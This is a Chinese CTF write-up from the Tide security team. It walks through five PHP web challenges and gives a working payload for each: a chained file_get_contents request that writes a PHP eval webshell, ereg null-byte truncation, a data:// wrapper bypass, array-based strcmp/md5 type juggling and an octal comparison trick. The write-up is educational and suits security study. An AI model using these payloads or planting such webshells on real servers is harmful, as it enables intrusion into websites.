声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
访问页面,查看源码
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = 'upload/'.$_GET['path'];
}else{
show_source(__FILE__);
exit();
}if(strpos($path,'..') > -1){
die('SYCwaf!');
}if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}
观察代码,传递file参数和path参数。并且path参数不能有回溯符,而file参数开头必须是http://127.0.0.1
这样的字符串,path的参数被用作生成的文档,而file则是写入的内容【这是表面现象】然而,真正的写入一句话的玄机是echo的这句话。payload:
http://127.0.0.1/ctf/1.php?file=http://127.0.0.1//ctf/1.php?file%3Dhttp%3A%2F%2F127.0.0.1%2F%26path%3D%253C%253Fphp%2520eval(%2524_POST%255B'x'%255D)%253B%253F%253E&path=a.php
写入一句话,直接菜刀列举网站目录即可。
file_get_contents() 把整个文件读入一个字符串中。语法
file_get_contents(path,include_path,context,start,max_length)参数 描述
path 必需。规定要读取的文件。
include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的
话,请设置该参数为 '1'。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。
若使用 NULL,则忽略。
start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。
max_length 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。
1、URLencode进行参数加密处理【第二个file以参数形式传递,以及payload含有特殊字符】
2、满足条件,在echo语句中写一句话
访问页面,查看源代码
<?php
if (isset($_POST["submit"]))
{
if (isset($_POST['hihi']))
{
if (ereg("^[a-zA-Z0-9]+$", $_POST['hihi']) === FALSE)
{
exit('<script>alert("have fun:)")</script>');
}
elseif (strlen($_POST['hihi']) < 11 && $_POST['hihi'] > 999999999)
{
if (strpos($_POST['hihi'], '#HONG#') !== FALSE)
{
if (!is_array($_POST['hihi'])) {
include("flag.php");
echo "Congratulations! FLAG is : ".$flag;
}
else
{
exit('<script>alert("nonono")</script>');
}
}
else
{
exit('<script>alert("nonono")</script>');
}
}
else
{
exit('<script>alert("sorry")</script>');
}
}
}
show_source(__FILE__);
?>
观察代码,需要满足的条件:
1、需要post提交
2、需要提交submit参数、hihi参数
3、hihi参数需要满足:
a、以数字字母组成
b、长度小于11,
c、数值要大于999999999
d、并且需要包含`#HONG#`这样的字符。也就是最大长度从10位变成了4位,这条和第一条冲突,
为解决这个问题,可以利用ereg的%00截断,这样长度就变成了3位,一个三位数要满足c
的条件,就想到了科学计数法
4、payload
submit=任意字符&hihi=9e9%00#HONG#
5、从返回值得到flag
1、ereg的%00截断2、正则表达的基本语法
3、PHP中e字母在数字比较中特殊使用
访问页面,查看源代码
<?php
header("Content-type: text/html; charset=utf-8");
include('flag.php');
$smile = 1;
if (!isset ($_GET['^_^'])) $smile = 0;
if (ereg ('\.', $_GET['^_^'])) $smile = 0;
if (ereg ('%', $_GET['^_^'])) $smile = 0;
if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;
if (ereg ('http', $_GET['^_^']) ) $smile = 0;
if (ereg ('https', $_GET['^_^']) ) $smile = 0;
if (ereg ('ftp', $_GET['^_^'])) $smile = 0;
if (ereg ('telnet', $_GET['^_^'])) $smile = 0;
if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if (1) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(●'◡'●)") die($flag);
}
show_source(__FILE__);
?>
服务器会包含一个flag.php文件,为了最终die($flag)的顺利执行,需要绕过上面的各种验证,而逻辑本身有两处矛盾:
$_GET数组本身提取自QUERY_STRING,$_GET['^_^']中key包含_符号,而QUERY_STRING
却不允许。
file_exists需要寻找的文件必须不存在,但file_get_contents却能读到文件内容。
当然除了逻辑还有上面那一堆限制,比如参数的value但不可包含. % 0-9数字 http(s)
ftp telnet关键字,文件的内容为unicode的笑脸。
当.或[]之类的符号作为参数的key的时候,会被PHP改写为_。file_get_contents可以获取远程数据,但常用网络协议已经被正则过滤,因此需要选取其他协议。查阅PHP支持的协议和包装,发现RFC 2397的data协议可用。巧合的是,file_exists对于data指向内容判断为不存在。最终构造url为:
http://www.ctf.com/3.php?^.^=data://text/plain;charset=unicode,(●'◡'●)
访问网页,查看源码
<?php
if(isset($_POST['login']))
{
if(isset($_POST['user']))
{
if(@strcmp($_POST['user'],$USER))//USER是被隐藏的复杂用户名
{
die('user错误!');
}
}
if (isset($_POST['name']) && isset($_POST['password']))
{
if ($_POST['name'] == $_POST['password'] )
{
die('账号密码不能一致!');
}
if (md5($_POST['name']) === md5($_POST['password']))
{
if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id']))
{
if($_POST['id']==72)
die("flag{xxxxxxxxxxxxx}");
else
die("ID错误2!");
}
else
{
die("ID错误1!");
}
}
else
die('账号密码错误!');
}
}
?>
1、post接受参数login、user、其user和常量USER做比较,比较函数strcmp,当strcmp第一个参数小于第二个参数时,返回值为负一,反之为正一,相等时为零。在不知道常量USER的情况下,满足条件,可以破坏数据结构,参数字符串改成数据,即可得到false值
2、post值name、password,这两个值不能一样,但是md5的值要一样,这是全类型比较,所以这里也是破坏结构,传递数组
3、post的id值,需要是数字,if中全类型比较,不是72,可以使用小数类型绕过,然后不含空格
4、payload为:login=1&user[]=2&name[]=xiaohong&password[]=xiaoming&id=72.0
1、PHP全类型比较和弱类型比较
2、不合规数据类型在函数中的特殊使用
3、strcmp、md5传递数组 返回 null
访问页面,查看源代码
$sss=$_GET['sss'];
if(strlen($sss)==666){
if(!preg_match("/[^0-6]/",$sss)){
eval('$sss='.$sss.';');
if($sss!=='0x666'){
if($sss=='0x666'){
echo $flag;
}
}
}
}
1、if(strlen($sss)==666) $sss
的长度等于 666
2、if(!preg_match("/[^0-6]/",$sss)) $sss
只能包含 0--6 的数字
3、$sss !== '0x666'
$sss == '0x666'
可知 $sss 的值需要等于数值 0x666,而又不能等于字符串 '0x666',其中涉及PHP的弱类型比较
需要创建一个长度为 666 ,只包含0 -- 6的数字,数值上等于 0x666且不等于字符串 '0x666'的参数,所以我们用八进制就可以搞定了。payload000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000003146
PHP进制说明:
1、十六进制:0x开头2、八进制:0开头
3、二进制:0b开头
弱类型比较说明:
1、php7中不成立: if(1638=='0x666')echo 2;此为flase2、php5中成立:if(1638=='0x666')echo 2;此为true
E
N
D
guān
关
zhù
注
wǒ
我
men
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
对安全感兴趣的小伙伴可以关注团队官网: http://www.TideSec.com 或长按二维码关注公众号: